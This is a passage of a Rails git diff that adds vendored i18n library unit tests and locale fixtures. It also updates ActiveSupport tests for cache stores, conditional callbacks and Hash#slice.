+ def test_uses_default_locale_as_locale_by_default
+ assert_equal I18n.default_locale, I18n.locale
+ end
+
+ def test_can_set_locale_to_thread_current
+ assert_nothing_raised{ I18n.locale = 'de' }
+ assert_equal 'de', I18n.locale
+ assert_equal 'de', Thread.current[:locale]
+ I18n.locale = 'en'
+ end
+
+ def test_can_set_exception_handler
+ assert_nothing_raised{ I18n.exception_handler = :custom_exception_handler }
+ I18n.exception_handler = :default_exception_handler # revert it
+ end
+
+ def test_uses_custom_exception_handler
+ I18n.exception_handler = :custom_exception_handler
+ I18n.expects(:custom_exception_handler)
+ I18n.translate :bogus
+ I18n.exception_handler = :default_exception_handler # revert it
+ end
+
+ def test_delegates_translate_to_backend
+ I18n.backend.expects(:translate).with 'de', :foo, {}
+ I18n.translate :foo, :locale => 'de'
+ end
+
+ def test_delegates_localize_to_backend
+ I18n.backend.expects(:localize).with 'de', :whatever, :default
+ I18n.localize :whatever, :locale => 'de'
+ end
+
+ def test_translate_given_no_locale_uses_i18n_locale
+ I18n.backend.expects(:translate).with 'en', :foo, {}
+ I18n.translate :foo
+ end
+
+ def test_translate_on_nested_symbol_keys_works
+ assert_equal ".", I18n.t(:'currency.format.separator')
+ end
+
+ def test_translate_with_nested_string_keys_works
+ assert_equal ".", I18n.t('currency.format.separator')
+ end
+
+ def test_translate_with_array_as_scope_works
+ assert_equal ".", I18n.t(:separator, :scope => ['currency.format'])
+ end
+
+ def test_translate_with_array_containing_dot_separated_strings_as_scope_works
+ assert_equal ".", I18n.t(:separator, :scope => ['currency.format'])
+ end
+
+ def test_translate_with_key_array_and_dot_separated_scope_works
+ assert_equal [".", ","], I18n.t(%w(separator delimiter), :scope => 'currency.format')
+ end
+
+ def test_translate_with_dot_separated_key_array_and_scope_works
+ assert_equal [".", ","], I18n.t(%w(format.separator format.delimiter), :scope => 'currency')
+ end
+
+ def test_translate_with_options_using_scope_works
+ I18n.backend.expects(:translate).with('de', :precision, :scope => :"currency.format")
+ I18n.with_options :locale => 'de', :scope => :'currency.format' do |locale|
+ locale.t :precision
+ end
+ end
+
+ # def test_translate_given_no_args_raises_missing_translation_data
+ # assert_equal "translation missing: en, no key", I18n.t
+ # end
+
+ def test_translate_given_a_bogus_key_raises_missing_translation_data
+ assert_equal "translation missing: en, bogus", I18n.t(:bogus)
+ end
+
+ def test_localize_nil_raises_argument_error
+ assert_raises(I18n::ArgumentError) { I18n.l nil }
+ end
+
+ def test_localize_object_raises_argument_error
+ assert_raises(I18n::ArgumentError) { I18n.l Object.new }
+ end
+end
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb
new file mode 100644
index 0000000000..6044ce10d9
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.rb
@@ -0,0 +1 @@
+{:'en-Ruby' => {:foo => {:bar => "baz"}}} \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml
new file mode 100644
index 0000000000..0b298c9c0e
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/locale/en.yml
@@ -0,0 +1,3 @@
+en-Yaml:
+ foo:
+ bar: baz \ No newline at end of file
diff --git a/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb
new file mode 100644
index 0000000000..e181975f38
--- /dev/null
+++ b/activesupport/lib/active_support/vendor/i18n-0.1.1/test/simple_backend_test.rb
@@ -0,0 +1,502 @@
+# encoding: utf-8
+$:.unshift "lib"
+
+require 'rubygems'
+require 'test/unit'
+require 'mocha'
+require 'i18n'
+require 'time'
+require 'yaml'
+
+module I18nSimpleBackendTestSetup
+ def setup_backend
+ # backend_reset_translations!
+ @backend = I18n::Backend::Simple.new
+ @backend.store_translations 'en', :foo => {:bar => 'bar', :baz => 'baz'}
+ @locale_dir = File.dirname(__FILE__) + '/locale'
+ end
+ alias :setup :setup_backend
+
+ # def backend_reset_translations!
+ # I18n::Backend::Simple::ClassMethods.send :class_variable_set, :@@translations, {}
+ # end
+
+ def backend_get_translations
+ # I18n::Backend::Simple::ClassMethods.send :class_variable_get, :@@translations
+ @backend.instance_variable_get :@translations
+ end
+
+ def add_datetime_translations
+ @backend.store_translations :'de', {
+ :date => {
+ :formats => {
+ :default => "%d.%m.%Y",
+ :short => "%d. %b",
+ :long => "%d. %B %Y",
+ },
+ :day_names => %w(Sonntag Montag Dienstag Mittwoch Donnerstag Freitag Samstag),
+ :abbr_day_names => %w(So Mo Di Mi Do Fr Sa),
+ :month_names => %w(Januar Februar März April Mai Juni Juli August September Oktober November Dezember).unshift(nil),
+ :abbr_month_names => %w(Jan Feb Mar Apr Mai Jun Jul Aug Sep Okt Nov Dez).unshift(nil),
+ :order => [:day, :month, :year]
+ },
+ :time => {
+ :formats => {
+ :default => "%a, %d. %b %Y %H:%M:%S %z",
+ :short => "%d. %b %H:%M",
+ :long => "%d. %B %Y %H:%M",
+ },
+ :am => 'am',
+ :pm => 'pm'
+ },
+ :datetime => {
+ :distance_in_words => {
+ :half_a_minute => 'half a minute',
+ :less_than_x_seconds => {
+ :one => 'less than 1 second',
+ :other => 'less than {{count}} seconds'
+ },
+ :x_seconds => {
+ :one => '1 second',
+ :other => '{{count}} seconds'
+ },
+ :less_than_x_minutes => {
+ :one => 'less than a minute',
+ :other => 'less than {{count}} minutes'
+ },
+ :x_minutes => {
+ :one => '1 minute',
+ :other => '{{count}} minutes'
+ },
+ :about_x_hours => {
+ :one => 'about 1 hour',
+ :other => 'about {{count}} hours'
+ },
+ :x_days => {
+ :one => '1 day',
+ :other => '{{count}} days'
+ },
+ :about_x_months => {
+ :one => 'about 1 month',
+ :other => 'about {{count}} months'
+ },
+ :x_months => {
+ :one => '1 month',
+ :other => '{{count}} months'
+ },
+ :about_x_years => {
+ :one => 'about 1 year',
+ :other => 'about {{count}} year'
+ },
+ :over_x_years => {
+ :one => 'over 1 year',
+ :other => 'over {{count}} years'
+ }
+ }
+ }
+ }
+ end
+end
+
+class I18nSimpleBackendTranslationsTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def test_store_translations_adds_translations # no, really :-)
+ @backend.store_translations :'en', :foo => 'bar'
+ assert_equal Hash[:'en', {:foo => 'bar'}], backend_get_translations
+ end
+
+ def test_store_translations_deep_merges_translations
+ @backend.store_translations :'en', :foo => {:bar => 'bar'}
+ @backend.store_translations :'en', :foo => {:baz => 'baz'}
+ assert_equal Hash[:'en', {:foo => {:bar => 'bar', :baz => 'baz'}}], backend_get_translations
+ end
+
+ def test_store_translations_forces_locale_to_sym
+ @backend.store_translations 'en', :foo => 'bar'
+ assert_equal Hash[:'en', {:foo => 'bar'}], backend_get_translations
+ end
+
+ def test_store_translations_converts_keys_to_symbols
+ # backend_reset_translations!
+ @backend.store_translations 'en', 'foo' => {'bar' => 'bar', 'baz' => 'baz'}
+ assert_equal Hash[:'en', {:foo => {:bar => 'bar', :baz => 'baz'}}], backend_get_translations
+ end
+end
+
+class I18nSimpleBackendTranslateTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def test_translate_calls_lookup_with_locale_given
+ @backend.expects(:lookup).with('de', :bar, [:foo]).returns 'bar'
+ @backend.translate 'de', :bar, :scope => [:foo]
+ end
+
+ def test_given_no_keys_it_returns_the_default
+ assert_equal 'default', @backend.translate('en', nil, :default => 'default')
+ end
+
+ def test_translate_given_a_symbol_as_a_default_translates_the_symbol
+ assert_equal 'bar', @backend.translate('en', nil, :scope => [:foo], :default => :bar)
+ end
+
+ def test_translate_given_an_array_as_default_uses_the_first_match
+ assert_equal 'bar', @backend.translate('en', :does_not_exist, :scope => [:foo], :default => [:does_not_exist_2, :bar])
+ end
+
+ def test_translate_given_an_array_of_inexistent_keys_it_raises_missing_translation_data
+ assert_raises I18n::MissingTranslationData do
+ @backend.translate('en', :does_not_exist, :scope => [:foo], :default => [:does_not_exist_2, :does_not_exist_3])
+ end
+ end
+
+ def test_translate_an_array_of_keys_translates_all_of_them
+ assert_equal %w(bar baz), @backend.translate('en', [:bar, :baz], :scope => [:foo])
+ end
+
+ def test_translate_calls_pluralize
+ @backend.expects(:pluralize).with 'en', 'bar', 1
+ @backend.translate 'en', :bar, :scope => [:foo], :count => 1
+ end
+
+ def test_translate_calls_interpolate
+ @backend.expects(:interpolate).with 'en', 'bar', {}
+ @backend.translate 'en', :bar, :scope => [:foo]
+ end
+
+ def test_translate_calls_interpolate_including_count_as_a_value
+ @backend.expects(:interpolate).with 'en', 'bar', {:count => 1}
+ @backend.translate 'en', :bar, :scope => [:foo], :count => 1
+ end
+
+ def test_translate_given_nil_as_a_locale_raises_an_argument_error
+ assert_raises(I18n::InvalidLocale){ @backend.translate nil, :bar }
+ end
+
+ def test_translate_with_a_bogus_key_and_no_default_raises_missing_translation_data
+ assert_raises(I18n::MissingTranslationData){ @backend.translate 'de', :bogus }
+ end
+end
+
+class I18nSimpleBackendLookupTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ # useful because this way we can use the backend with no key for interpolation/pluralization
+ def test_lookup_given_nil_as_a_key_returns_nil
+ assert_nil @backend.send(:lookup, 'en', nil)
+ end
+
+ def test_lookup_given_nested_keys_looks_up_a_nested_hash_value
+ assert_equal 'bar', @backend.send(:lookup, 'en', :bar, [:foo])
+ end
+end
+
+class I18nSimpleBackendPluralizeTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def test_pluralize_given_nil_returns_the_given_entry
+ entry = {:one => 'bar', :other => 'bars'}
+ assert_equal entry, @backend.send(:pluralize, nil, entry, nil)
+ end
+
+ def test_pluralize_given_0_returns_zero_string_if_zero_key_given
+ assert_equal 'zero', @backend.send(:pluralize, nil, {:zero => 'zero', :one => 'bar', :other => 'bars'}, 0)
+ end
+
+ def test_pluralize_given_0_returns_plural_string_if_no_zero_key_given
+ assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 0)
+ end
+
+ def test_pluralize_given_1_returns_singular_string
+ assert_equal 'bar', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 1)
+ end
+
+ def test_pluralize_given_2_returns_plural_string
+ assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 2)
+ end
+
+ def test_pluralize_given_3_returns_plural_string
+ assert_equal 'bars', @backend.send(:pluralize, nil, {:one => 'bar', :other => 'bars'}, 3)
+ end
+
+ def test_interpolate_given_incomplete_pluralization_data_raises_invalid_pluralization_data
+ assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, {:one => 'bar'}, 2) }
+ end
+
+ # def test_interpolate_given_a_string_raises_invalid_pluralization_data
+ # assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, 'bar', 2) }
+ # end
+ #
+ # def test_interpolate_given_an_array_raises_invalid_pluralization_data
+ # assert_raises(I18n::InvalidPluralizationData){ @backend.send(:pluralize, nil, ['bar'], 2) }
+ # end
+end
+
+class I18nSimpleBackendInterpolateTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def test_interpolate_given_a_value_hash_interpolates_the_values_to_the_string
+ assert_equal 'Hi David!', @backend.send(:interpolate, nil, 'Hi {{name}}!', :name => 'David')
+ end
+
+ def test_interpolate_given_a_value_hash_interpolates_into_unicode_string
+ assert_equal 'Häi David!', @backend.send(:interpolate, nil, 'Häi {{name}}!', :name => 'David')
+ end
+
+ def test_interpolate_given_nil_as_a_string_returns_nil
+ assert_nil @backend.send(:interpolate, nil, nil, :name => 'David')
+ end
+
+ def test_interpolate_given_an_non_string_as_a_string_returns_nil
+ assert_equal [], @backend.send(:interpolate, nil, [], :name => 'David')
+ end
+
+ def test_interpolate_given_a_values_hash_with_nil_values_interpolates_the_string
+ assert_equal 'Hi !', @backend.send(:interpolate, nil, 'Hi {{name}}!', {:name => nil})
+ end
+
+ def test_interpolate_given_an_empty_values_hash_raises_missing_interpolation_argument
+ assert_raises(I18n::MissingInterpolationArgument) { @backend.send(:interpolate, nil, 'Hi {{name}}!', {}) }
+ end
+
+ def test_interpolate_given_a_string_containing_a_reserved_key_raises_reserved_interpolation_key
+ assert_raises(I18n::ReservedInterpolationKey) { @backend.send(:interpolate, nil, '{{default}}', {:default => nil}) }
+ end
+end
+
+class I18nSimpleBackendLocalizeDateTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def setup
+ @backend = I18n::Backend::Simple.new
+ add_datetime_translations
+ @date = Date.new 2008, 1, 1
+ end
+
+ def test_translate_given_the_short_format_it_uses_it
+ assert_equal '01. Jan', @backend.localize('de', @date, :short)
+ end
+
+ def test_translate_given_the_long_format_it_uses_it
+ assert_equal '01. Januar 2008', @backend.localize('de', @date, :long)
+ end
+
+ def test_translate_given_the_default_format_it_uses_it
+ assert_equal '01.01.2008', @backend.localize('de', @date, :default)
+ end
+
+ def test_translate_given_a_day_name_format_it_returns_a_day_name
+ assert_equal 'Dienstag', @backend.localize('de', @date, '%A')
+ end
+
+ def test_translate_given_an_abbr_day_name_format_it_returns_an_abbrevated_day_name
+ assert_equal 'Di', @backend.localize('de', @date, '%a')
+ end
+
+ def test_translate_given_a_month_name_format_it_returns_a_month_name
+ assert_equal 'Januar', @backend.localize('de', @date, '%B')
+ end
+
+ def test_translate_given_an_abbr_month_name_format_it_returns_an_abbrevated_month_name
+ assert_equal 'Jan', @backend.localize('de', @date, '%b')
+ end
+
+ def test_translate_given_no_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @date }
+ end
+
+ def test_translate_given_an_unknown_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @date, '%x' }
+ end
+
+ def test_localize_nil_raises_argument_error
+ assert_raises(I18n::ArgumentError) { @backend.localize 'de', nil }
+ end
+
+ def test_localize_object_raises_argument_error
+ assert_raises(I18n::ArgumentError) { @backend.localize 'de', Object.new }
+ end
+end
+
+class I18nSimpleBackendLocalizeDateTimeTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def setup
+ @backend = I18n::Backend::Simple.new
+ add_datetime_translations
+ @morning = DateTime.new 2008, 1, 1, 6
+ @evening = DateTime.new 2008, 1, 1, 18
+ end
+
+ def test_translate_given_the_short_format_it_uses_it
+ assert_equal '01. Jan 06:00', @backend.localize('de', @morning, :short)
+ end
+
+ def test_translate_given_the_long_format_it_uses_it
+ assert_equal '01. Januar 2008 06:00', @backend.localize('de', @morning, :long)
+ end
+
+ def test_translate_given_the_default_format_it_uses_it
+ assert_equal 'Di, 01. Jan 2008 06:00:00 +0000', @backend.localize('de', @morning, :default)
+ end
+
+ def test_translate_given_a_day_name_format_it_returns_the_correct_day_name
+ assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')
+ end
+
+ def test_translate_given_an_abbr_day_name_format_it_returns_the_correct_abbrevated_day_name
+ assert_equal 'Di', @backend.localize('de', @morning, '%a')
+ end
+
+ def test_translate_given_a_month_name_format_it_returns_the_correct_month_name
+ assert_equal 'Januar', @backend.localize('de', @morning, '%B')
+ end
+
+ def test_translate_given_an_abbr_month_name_format_it_returns_the_correct_abbrevated_month_name
+ assert_equal 'Jan', @backend.localize('de', @morning, '%b')
+ end
+
+ def test_translate_given_a_meridian_indicator_format_it_returns_the_correct_meridian_indicator
+ assert_equal 'am', @backend.localize('de', @morning, '%p')
+ assert_equal 'pm', @backend.localize('de', @evening, '%p')
+ end
+
+ def test_translate_given_no_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @morning }
+ end
+
+ def test_translate_given_an_unknown_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @morning, '%x' }
+ end
+end
+
+class I18nSimpleBackendLocalizeTimeTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def setup
+ @old_timezone, ENV['TZ'] = ENV['TZ'], 'UTC'
+ @backend = I18n::Backend::Simple.new
+ add_datetime_translations
+ @morning = Time.parse '2008-01-01 6:00 UTC'
+ @evening = Time.parse '2008-01-01 18:00 UTC'
+ end
+
+ def teardown
+ @old_timezone ? ENV['TZ'] = @old_timezone : ENV.delete('TZ')
+ end
+
+ def test_translate_given_the_short_format_it_uses_it
+ assert_equal '01. Jan 06:00', @backend.localize('de', @morning, :short)
+ end
+
+ def test_translate_given_the_long_format_it_uses_it
+ assert_equal '01. Januar 2008 06:00', @backend.localize('de', @morning, :long)
+ end
+
+ # TODO Seems to break on Windows because ENV['TZ'] is ignored. What's a better way to do this?
+ # def test_translate_given_the_default_format_it_uses_it
+ # assert_equal 'Di, 01. Jan 2008 06:00:00 +0000', @backend.localize('de', @morning, :default)
+ # end
+
+ def test_translate_given_a_day_name_format_it_returns_the_correct_day_name
+ assert_equal 'Dienstag', @backend.localize('de', @morning, '%A')
+ end
+
+ def test_translate_given_an_abbr_day_name_format_it_returns_the_correct_abbrevated_day_name
+ assert_equal 'Di', @backend.localize('de', @morning, '%a')
+ end
+
+ def test_translate_given_a_month_name_format_it_returns_the_correct_month_name
+ assert_equal 'Januar', @backend.localize('de', @morning, '%B')
+ end
+
+ def test_translate_given_an_abbr_month_name_format_it_returns_the_correct_abbrevated_month_name
+ assert_equal 'Jan', @backend.localize('de', @morning, '%b')
+ end
+
+ def test_translate_given_a_meridian_indicator_format_it_returns_the_correct_meridian_indicator
+ assert_equal 'am', @backend.localize('de', @morning, '%p')
+ assert_equal 'pm', @backend.localize('de', @evening, '%p')
+ end
+
+ def test_translate_given_no_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @morning }
+ end
+
+ def test_translate_given_an_unknown_format_it_does_not_fail
+ assert_nothing_raised{ @backend.localize 'de', @morning, '%x' }
+ end
+end
+
+class I18nSimpleBackendHelperMethodsTest < Test::Unit::TestCase
+ def setup
+ @backend = I18n::Backend::Simple.new
+ end
+
+ def test_deep_symbolize_keys_works
+ result = @backend.send :deep_symbolize_keys, 'foo' => {'bar' => {'baz' => 'bar'}}
+ expected = {:foo => {:bar => {:baz => 'bar'}}}
+ assert_equal expected, result
+ end
+end
+
+class I18nSimpleBackendLoadTranslationsTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def test_load_translations_with_unknown_file_type_raises_exception
+ assert_raises(I18n::UnknownFileType) { @backend.load_translations "#{@locale_dir}/en.xml" }
+ end
+
+ def test_load_translations_with_ruby_file_type_does_not_raise_exception
+ assert_nothing_raised { @backend.load_translations "#{@locale_dir}/en.rb" }
+ end
+
+ def test_load_rb_loads_data_from_ruby_file
+ data = @backend.send :load_rb, "#{@locale_dir}/en.rb"
+ assert_equal({:'en-Ruby' => {:foo => {:bar => "baz"}}}, data)
+ end
+
+ def test_load_rb_loads_data_from_yaml_file
+ data = @backend.send :load_yml, "#{@locale_dir}/en.yml"
+ assert_equal({'en-Yaml' => {'foo' => {'bar' => 'baz'}}}, data)
+ end
+
+ def test_load_translations_loads_from_different_file_formats
+ @backend = I18n::Backend::Simple.new
+ @backend.load_translations "#{@locale_dir}/en.rb", "#{@locale_dir}/en.yml"
+ expected = {
+ :'en-Ruby' => {:foo => {:bar => "baz"}},
+ :'en-Yaml' => {:foo => {:bar => "baz"}}
+ }
+ assert_equal expected, backend_get_translations
+ end
+end
+
+class I18nSimpleBackendReloadTranslationsTest < Test::Unit::TestCase
+ include I18nSimpleBackendTestSetup
+
+ def setup
+ @backend = I18n::Backend::Simple.new
+ I18n.load_path = [File.dirname(__FILE__) + '/locale/en.yml']
+ assert_nil backend_get_translations
+ @backend.send :init_translations
+ end
+
+ def teardown
+ I18n.load_path = []
+ end
+
+ def test_setup
+ assert_not_nil backend_get_translations
+ end
+
+ def test_reload_translations_unloads_translations
+ @backend.reload!
+ assert_nil backend_get_translations
+ end
+
+ def test_reload_translations_uninitializes_translations
+ @backend.reload!
+ assert_equal @backend.initialized?, false
+ end
+end \ No newline at end of file
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index d8506de986..e8e0b41d4d 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -1,18 +1,18 @@
require 'abstract_unit'
-class CacheKeyTest < Test::Unit::TestCase
+class CacheKeyTest < ActiveSupport::TestCase
def test_expand_cache_key
assert_equal 'name/1/2/true', ActiveSupport::Cache.expand_cache_key([1, '2', true], :name)
end
end
-class CacheStoreSettingTest < Test::Unit::TestCase
+class CacheStoreSettingTest < ActiveSupport::TestCase
def test_file_fragment_cache_store
store = ActiveSupport::Cache.lookup_store :file_store, "/path/to/cache/directory"
assert_kind_of(ActiveSupport::Cache::FileStore, store)
assert_equal "/path/to/cache/directory", store.cache_path
end
-
+
def test_drb_fragment_cache_store
store = ActiveSupport::Cache.lookup_store :drb_store, "druby://localhost:9192"
assert_kind_of(ActiveSupport::Cache::DRbStore, store)
@@ -24,13 +24,13 @@ class CacheStoreSettingTest < Test::Unit::TestCase
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
assert_equal %w(localhost), store.addresses
end
-
+
def test_mem_cache_fragment_cache_store_with_multiple_servers
store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1'
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
assert_equal %w(localhost 192.168.1.1), store.addresses
end
-
+
def test_mem_cache_fragment_cache_store_with_options
store = ActiveSupport::Cache.lookup_store :mem_cache_store, "localhost", '192.168.1.1', :namespace => 'foo'
assert_kind_of(ActiveSupport::Cache::MemCacheStore, store)
@@ -45,7 +45,7 @@ class CacheStoreSettingTest < Test::Unit::TestCase
end
end
-class CacheStoreTest < Test::Unit::TestCase
+class CacheStoreTest < ActiveSupport::TestCase
def setup
@cache = ActiveSupport::Cache.lookup_store(:memory_store)
end
@@ -116,9 +116,15 @@ module CacheStoreBehavior
assert_equal 1, @cache.decrement('foo')
assert_equal 1, @cache.read('foo', :raw => true).to_i
end
+
+ def test_exist
+ @cache.write('foo', 'bar')
+ assert @cache.exist?('foo')
+ assert !@cache.exist?('bar')
+ end
end
-class FileStoreTest < Test::Unit::TestCase
+class FileStoreTest < ActiveSupport::TestCase
def setup
@cache = ActiveSupport::Cache.lookup_store(:file_store, Dir.pwd)
end
@@ -130,7 +136,7 @@ class FileStoreTest < Test::Unit::TestCase
include CacheStoreBehavior
end
-class MemoryStoreTest < Test::Unit::TestCase
+class MemoryStoreTest < ActiveSupport::TestCase
def setup
@cache = ActiveSupport::Cache.lookup_store(:memory_store)
end
@@ -145,28 +151,111 @@ class MemoryStoreTest < Test::Unit::TestCase
end
uses_memcached 'memcached backed store' do
- class MemCacheStoreTest < Test::Unit::TestCase
+ class MemCacheStoreTest < ActiveSupport::TestCase
def setup
@cache = ActiveSupport::Cache.lookup_store(:mem_cache_store)
+ @data = @cache.instance_variable_get(:@data)
@cache.clear
end
include CacheStoreBehavior
def test_store_objects_should_be_immutable
- @cache.write('foo', 'bar')
- @cache.read('foo').gsub!(/.*/, 'baz')
- assert_equal 'bar', @cache.read('foo')
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.read('foo').gsub!(/.*/, 'baz')
+ assert_equal 'bar', @cache.read('foo')
+ end
end
def test_write_should_return_true_on_success
- result = @cache.write('foo', 'bar')
- assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
- assert result
+ @cache.with_local_cache do
+ result = @cache.write('foo', 'bar')
+ assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
+ assert result
+ end
+ end
+
+ def test_local_writes_are_persistent_on_the_remote_cache
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ end
+
+ assert_equal 'bar', @cache.read('foo')
+ end
+
+ def test_clear_also_clears_local_cache
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.clear
+ assert_nil @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_read_and_write
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @data.flush_all # Clear remote cache
+ assert_equal 'bar', @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_delete
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.delete('foo')
+ @data.flush_all # Clear remote cache
+ assert_nil @cache.read('foo')
+ end
+ end
+
+ def test_local_cache_of_exist
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.instance_variable_set(:@data, nil)
+ @data.flush_all # Clear remote cache
+ assert @cache.exist?('foo')
+ end
+ end
+
+ def test_local_cache_of_increment
+ @cache.with_local_cache do
+ @cache.write('foo', 1, :raw => true)
+ @cache.increment('foo')
+ @data.flush_all # Clear remote cache
+ assert_equal 2, @cache.read('foo', :raw => true).to_i
+ end
+ end
+
+ def test_local_cache_of_decrement
+ @cache.with_local_cache do
+ @cache.write('foo', 1, :raw => true)
+ @cache.decrement('foo')
+ @data.flush_all # Clear remote cache
+ assert_equal 0, @cache.read('foo', :raw => true).to_i
+ end
+ end
+
+ def test_exist_with_nulls_cached_locally
+ @cache.with_local_cache do
+ @cache.write('foo', 'bar')
+ @cache.delete('foo')
+ assert !@cache.exist?('foo')
+ end
+ end
+
+ def test_middleware
+ app = lambda { |env|
+ result = @cache.write('foo', 'bar')
+ assert_equal 'bar', @cache.read('foo') # make sure 'foo' was written
+ assert result
+ }
+ app = @cache.middleware.new(app)
+ app.call({})
end
end
- class CompressedMemCacheStore < Test::Unit::TestCase
+ class CompressedMemCacheStore < ActiveSupport::TestCase
def setup
@cache = ActiveSupport::Cache.lookup_store(:compressed_mem_cache_store)
@cache.clear
diff --git a/activesupport/test/callbacks_test.rb b/activesupport/test/callbacks_test.rb
index 25b8eecef5..2bc2e1eaf0 100644
--- a/activesupport/test/callbacks_test.rb
+++ b/activesupport/test/callbacks_test.rb
@@ -53,10 +53,41 @@ class Person < Record
end
class ConditionalPerson < Record
+ # proc
before_save Proc.new { |r| r.history << [:before_save, :proc] }, :if => Proc.new { |r| true }
before_save Proc.new { |r| r.history << "b00m" }, :if => Proc.new { |r| false }
before_save Proc.new { |r| r.history << [:before_save, :proc] }, :unless => Proc.new { |r| false }
before_save Proc.new { |r| r.history << "b00m" }, :unless => Proc.new { |r| true }
+ # symbol
+ before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :if => :yes
+ before_save Proc.new { |r| r.history << "b00m" }, :if => :no
+ before_save Proc.new { |r| r.history << [:before_save, :symbol] }, :unless => :no
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => :yes
+ # string
+ before_save Proc.new { |r| r.history << [:before_save, :string] }, :if => 'yes'
+ before_save Proc.new { |r| r.history << "b00m" }, :if => 'no'
+ before_save Proc.new { |r| r.history << [:before_save, :string] }, :unless => 'no'
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => 'yes'
+ # Array with conditions
+ before_save Proc.new { |r| r.history << [:before_save, :symbol_array] }, :if => [:yes, :other_yes]
+ before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, :no]
+ before_save Proc.new { |r| r.history << [:before_save, :symbol_array] }, :unless => [:no, :other_no]
+ before_save Proc.new { |r| r.history << "b00m" }, :unless => [:yes, :no]
+ # Combined if and unless
+ before_save Proc.new { |r| r.history << [:before_save, :combined_symbol] }, :if => :yes, :unless => :no
+ before_save Proc.new { |r| r.history << "b00m" }, :if => :yes, :unless => :yes
+ # Array with different types of conditions
+ before_save Proc.new { |r| r.history << [:before_save, :symbol_proc_string_array] }, :if => [:yes, Proc.new { |r| true }, 'yes']
+ before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, Proc.new { |r| true }, 'no']
+ # Array with different types of conditions comibned if and unless
+ before_save Proc.new { |r| r.history << [:before_save, :combined_symbol_proc_string_array] },
+ :if => [:yes, Proc.new { |r| true }, 'yes'], :unless => [:no, 'no']
+ before_save Proc.new { |r| r.history << "b00m" }, :if => [:yes, Proc.new { |r| true }, 'no'], :unless => [:no, 'no']
+
+ def yes; true; end
+ def other_yes; true; end
+ def no; false; end
+ def other_no; false; end
def save
run_callbacks(:before_save)
@@ -90,7 +121,16 @@ class ConditionalCallbackTest < Test::Unit::TestCase
person.save
assert_equal [
[:before_save, :proc],
- [:before_save, :proc]
+ [:before_save, :proc],
+ [:before_save, :symbol],
+ [:before_save, :symbol],
+ [:before_save, :string],
+ [:before_save, :string],
+ [:before_save, :symbol_array],
+ [:before_save, :symbol_array],
+ [:before_save, :combined_symbol],
+ [:before_save, :symbol_proc_string_array],
+ [:before_save, :combined_symbol_proc_string_array]
], person.history
end
end
diff --git a/activesupport/test/core_ext/hash_ext_test.rb b/activesupport/test/core_ext/hash_ext_test.rb
index 63ccb5a7da..b63ab30965 100644
--- a/activesupport/test/core_ext/hash_ext_test.rb
+++ b/activesupport/test/core_ext/hash_ext_test.rb
@@ -287,10 +287,14 @@ class HashExtTest < Test::Unit::TestCase
# Should return a new hash with only the given keys.
assert_equal expected, original.slice(:a, :b)
assert_not_equal expected, original
+ end
+
+ def test_slice_inplace
+ original = { :a => 'x', :b => 'y', :c => 10 }
+ expected = { :c => 10 }
# Should replace the hash with only the given keys.
assert_equal expected, original.slice!(:a, :b)
- assert_equal expected, original
end
def test_slice_with_an_array_key
@@ -300,10 +304,14 @@ class HashExtTest < Test::Unit::TestCase
# Should return a new hash with only the given keys when given an array key.
assert_equal expected, original.slice([:a, :b], :c)
assert_not_equal expected, original
+ end
+
+ def test_slice_inplace_with_an_array_key
+ original = { :a => 'x', :b => 'y', :c => 10, [:a, :b] => "an array key" }
+ expected = { :a => 'x', :b => 'y' }
